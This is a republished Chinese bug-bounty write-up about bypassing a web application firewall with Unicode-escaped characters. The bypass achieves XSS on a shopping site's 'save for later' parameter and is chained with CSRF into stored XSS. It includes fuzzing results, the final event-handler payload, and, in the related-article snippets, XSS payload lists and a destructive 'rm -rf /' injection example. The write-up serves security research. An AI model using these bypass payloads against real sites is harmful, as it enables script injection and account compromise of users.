Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >BUG赏金 | Unicode与WAF—XSS WAF绕过

BUG赏金 | Unicode与WAF—XSS WAF绕过

作者头像
Timeline Sec
发布于 2019-12-23 03:22:14
发布于 2019-12-23 03:22:14
1.9K00
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

图片来源于网络

通过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。因此,让我们给你一个关于我正在测试的应用程序的小想法。有一个名为“以后保存” 的选项,该选项将项目保存在您的帐户中以备后用。该请求看起来像:

如果用户进行了正确的身份验证,则此发布请求会将项目保存在用户帐户中,以供以后使用;如果用户未进行正确的身份验证,则该请求仅会返回一些值。因此,我在参数上进行黑盒测试,并注意到传递的参数值在响应主体中得到返回,而在经过身份验证和未经身份验证的场景中都没有适当的转义。我发送了一个如下的参数值:

xss \"><

返回的结果如下:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
         data-productid="<ID>" data-channel="xss"><" data-quantity="1"
         data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>
代码语言:javascript
代码运行次数:0
运行
复制

我们输入的值在<a>标记内,由于引号和小于/大于-符号未正确过滤,因此我们可以跳出该值。因此,我认为我有很多方法可以在这里进行XSS,直到我输入 xss \” onclick = \“ alert(1)并且响应为:

因此,存在WAF。为了绕开它,我开始模糊测试,结果是:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
xss \" onclick= \" alert(1)    ==> WAF
xss \" xss = \" alert(1)       ==> WAF
xss \" xss = \" xxx(1)         ==> 没有WAF
代码语言:javascript
代码运行次数:0
运行
复制

因此,我尝试创建一个标签,而不是在<a>标签中添加事件属性,然后输入xss \”> <xss> test,响应为:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid ="<ID>" data-itemnumber ="<ID>"
          data-productid ="<ID>" data-channel =" xss">test" data-quantity =" 1"
          data-isbundleitem ="false" role ="link" tabindex ="0" aria-label="label">移至购物车</a>

因此,它还删除了看起来像tag的上下文。因此,我们没有创建标签的优势。因此,我们唯一的方法是绕过WAF 在<a>标记中使用事件属性。我尝试通过fuzzdb使用html-event-attributes.txt 进行暴力破解。以看看是否有事件没有被WAF阻止然而并没有什么有值得关注的。

然后我考虑了一下进行unicode编码,输入了一个随机的unicode看看它在响应中是否解码。值得庆幸的是它将unicode解码成它的原始的字符。所以现在我再次开始使用unicode + events的形式,结果是:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 xss \" \u003E\u003Cxss\u003Etest"             ==> xss"> <xss> test"
 xss \" xss = \"co\u006efirm(domain)"          ==> 没有WAF 
 xss \" onc\u006Cick = \"co\u006efirm(domain)" ==> HTTP / 1.1 403禁止
代码语言:javascript
代码运行次数:0
运行
复制

所以我们现在有了新的有利条件,同样也有了新的问题。

有利条件是我们现在可以使用unicode创建HTML标签。

问题是我们添加onc\u006Cick事件会收到一个新的错误 HTTP / 1.1 403 Forbidden。

因此,我再次通过html-event-attributes.txt + Unicode制作了一个单词表,并得到了onmous\u0045leave和ond\u0072ag事件返回了 HTTP / 1.1 200 OK。同样我们还可以创建HTML标签。所以我得到了最后的有效载荷:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
xss\"\u003E\u003Ch1 onmous\u0045leave=co\u006efirm(domain)\u003Ecome to me\u003C/h1\u003E\u003Cbr\u003E\u003C!--

响应主体是:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"           
          data-productid="<ID>" data-channel="xss"> <h1 onmouseleave=confirm(domain)>come to me</h1> <br> <!--" data-quantity ="1" 
          data-isbundleitem ="false" role ="link" tabindex ="0" aria-label ="label">移至购物车</a>                     

将鼠标指针放在come to me上,然后移开:

现在,因为这是一个POST请求,并且没有CSRF保护,所以我将CSRF + XSS = P2的存储型XSS链接到已认证的用户:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-12-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CodeBuddy跨界篇 | 产品经理写代码?不,你错了,我只是想画原型图
今天在上班期间,无意间听到了产品经理正在发愁,说最近工作比较忙,活比较多,有了新需求要花费大量时间思考方案,还要写需求文档,写完需求文档还要出开发原型给开发讲,愁死人了。听到这我突然就想到,上次我在我本机的VSCode 装了CodeBuddy 插件之后,利用 Craft 几句话就做出来一个数独游戏的事。那么我就想,我是不是也可以用VSCode 来直接出开发原型图呢?如果真的能出,明天就可以给产品经理指一条明路了,哈哈。
六月的雨在Tencent
2025/05/15
4350
奇技淫巧(全) - XSS payload
Blind XSS https://xsshunter.com/ Encoding %u003Cscript%u003Eprompt%u0028303%u0029%u003C/script%u003E %253Cscript%253Ealert(1)%253C%252Fscript%253E %uff1cscript%uff1ealert(1);%uff1c/script%uff1e XML Based XSS <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![
Khan安全团队
2021/03/10
1.1K0
干货 | 各种WAF绕过手法学习
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
Power7089
2021/04/30
4K0
XSS编码浅析
文章首发于:奇安信攻防社区 https://forum.butian.net/share/831
亿人安全
2022/06/30
4450
XSS编码浅析
xss
ctfshow里面的xss刷题记录(有xss弹窗,建议若要点开请先关闭浏览器弹窗授权)
故里[TRUE]
2023/04/16
9570
xss
干货|挖掘赏金漏洞中,绕过WAF的常用5种方式
WAF是一种用于过滤和阻止恶意网络流量的网络安全解决方案。国外网站常见的供应商包括CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure和Barracuda。
HACK学习
2023/08/22
2K0
干货|挖掘赏金漏洞中,绕过WAF的常用5种方式
XSS那些tricks
在调用某些对象,或者执行某些方法时,会自动隐式的调用某些函数。这里有个缺憾,自动调用的函数是不带参数的,并没有找到可以利用的方法(在空白页面),不同环境下有其他利用方法?
Deen_
2020/03/30
7780
XSS那些tricks
干货 | 学习XSS从入门到熟悉
XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。
HACK学习
2021/06/24
4.7K0
干货 | 学习XSS从入门到熟悉
程序员疫苗:代码注入
“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)
洛米唯熊
2019/07/25
7930
那些可以绕过WAF的各种特性
在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用。
Bypass
2020/03/26
1.7K0
那些可以绕过WAF的各种特性
一文了解XSS漏洞和常见payload
刷完了XSS challenge和XSS game 对XSS漏洞有了些许认识 在此做个小结与记录
中龙技术
2022/09/30
4.1K0
一文了解XSS漏洞和常见payload
使用Python检测并绕过Web应用程序防火墙
Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的WAF规则。如今,许多WAF都是基于签名的。下图简单描绘了一个Web应用防火墙的工作流程: 什么是基于签名的防火墙? 在基于签名的防火墙中你可以自定义签名,如果你知道某种网络攻击遵循某种类型的模式或签名。那么你就可以定义匹配模式过滤掉它们,例如: Payload:- <svg><script>alert&grave;1&grave;<p> 上面定义的
FB客服
2018/02/28
2.5K0
使用Python检测并绕过Web应用程序防火墙
XSS相关Payload及Bypass的备忘录(下)| 文末有打包好的Payload
上述payload都打包在了下面链接中,自己现行研究一番,在哪里使用,可以做些模糊测试工作,具体自己研究研究吧,最后 全部.txt 是我将其中的payload都复制到了里面,但是有些地方不足,可以自己修改下吧。失效可联系我,不保证能够秒回,着急就加我微信。嘿嘿。
Power7089
2019/08/01
2.4K0
XSS相关Payload及Bypass的备忘录(下)| 文末有打包好的Payload
前端XSS相关整理
前端安全方面,主要需要关注 XSS(跨站脚本攻击 Cross-site scripting) 和 CSRF(跨站请求伪造 Cross-site request forgery)
书童小二
2018/10/09
4.7K0
前端XSS相关整理
XSS相关Payload及Bypass的备忘录(上)
跨站脚本攻击(XSS)是一种计算机安全漏洞,通常出现在Web应用程序中。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
Power7089
2019/07/30
4.6K1
长亭WAF XSS防护绕过小记
某次业务上线常规安全测试,有记录操作的功能,猜测存在存储型XSS漏洞,但由于存在长亭WAF被拦截。遂将之前总结的XSS绕过手段逐一测试了下。
瓦都剋
2020/10/27
6.2K1
长亭WAF XSS防护绕过小记
黑客用Python:检测并绕过Web应用程序防火墙
Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的WAF规则。如今,许多WAF都是基于签名的。下图简单描绘了一个Web应用防火墙的工作流程:
小小科
2018/08/17
1.2K0
黑客用Python:检测并绕过Web应用程序防火墙
打造安全的 React 应用,可以从这几点入手
目前的网络环境,共享的数据要比以往任何时候都多,对于用户而言,必须注意在使用应用程序中可能遇到的相关风险。
前端修罗场
2022/12/17
1.9K0
打造安全的 React 应用,可以从这几点入手
Web开发---单页面应用(签到日报--技术实现)
疫情前期,员工分布在各个地区,需要上报个人的健康状态和位置信息,于是做了一个单页面应用(当时钉钉和微信上的健康上报模板还没出现)
MiaoGIS
2020/03/16
8490
Web开发---单页面应用(签到日报--技术实现)
深入理解SQL注入绕过WAF和过滤机制
深入理解SQL注入绕过WAF和过滤机制 知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向。之前对WAF并不太了解,因此趁此机会科普一下并查阅了一些绕过WAF的方法。网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕
tnt阿信
2020/08/05
3.3K0
深入理解SQL注入绕过WAF和过滤机制
相关推荐
CodeBuddy跨界篇 | 产品经理写代码?不,你错了,我只是想画原型图
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验